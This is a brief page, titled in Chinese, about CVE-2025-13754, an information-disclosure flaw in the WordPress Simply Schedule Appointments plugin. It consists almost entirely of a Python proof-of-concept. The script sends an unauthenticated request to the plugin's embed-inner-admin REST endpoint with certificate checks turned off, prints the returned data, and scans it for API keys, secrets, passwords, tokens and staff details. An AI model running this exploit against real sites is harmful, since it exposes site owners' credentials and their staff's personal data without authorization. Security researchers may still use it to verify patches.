CVE-2025-13754 WordPress Simply Schedule Appointments插件敏感信息泄露漏洞

import requests # CVE-2025-13754 PoC - Simply Schedule Appointments Plugin Information Disclosure # Target: WordPress site with Simply Schedule Appointments plugin < 1.6.9.17 TARGET_URL = "https://example-wordpress-site.com" # Replace with target URL VULN_ENDPOINT = "/wp-json/ssa/v1/embed-inner-admin" def check_vulnerability(target): """Check if target is vulnerable to CVE-2025-13754""" url = f"{target}/wp-json/ssa/v1/embed-inner-admin" print(f"[*] Testing CVE-2025-13754 on: {target}") print(f"[*] Target endpoint: {url}") try: # Send unauthenticated request to the vulnerable endpoint response = requests.get(url, timeout=10, verify=False) print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: data = response.json() print("[!] VULNERABLE - Endpoint returns data without authentication") print(f"[+] Response preview:\n{str(data)[:500]}...") # Extract potential sensitive information sensitive_keys = ['api_key', 'key', 'secret', 'password', 'token', 'staff', 'business', 'name'] found_sensitive = [] for key in sensitive_keys: if key.lower() in str(data).lower(): found_sensitive.append(key) if found_sensitive: print(f"[!] Sensitive data types found: {', '.join(found_sensitive)}") return True elif response.status_code == 401 or response.status_code == 403: print("[-] NOT VULNERABLE - Endpoint requires authentication") return False else: print(f"[-] Unexpected response: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": check_vulnerability(TARGET_URL)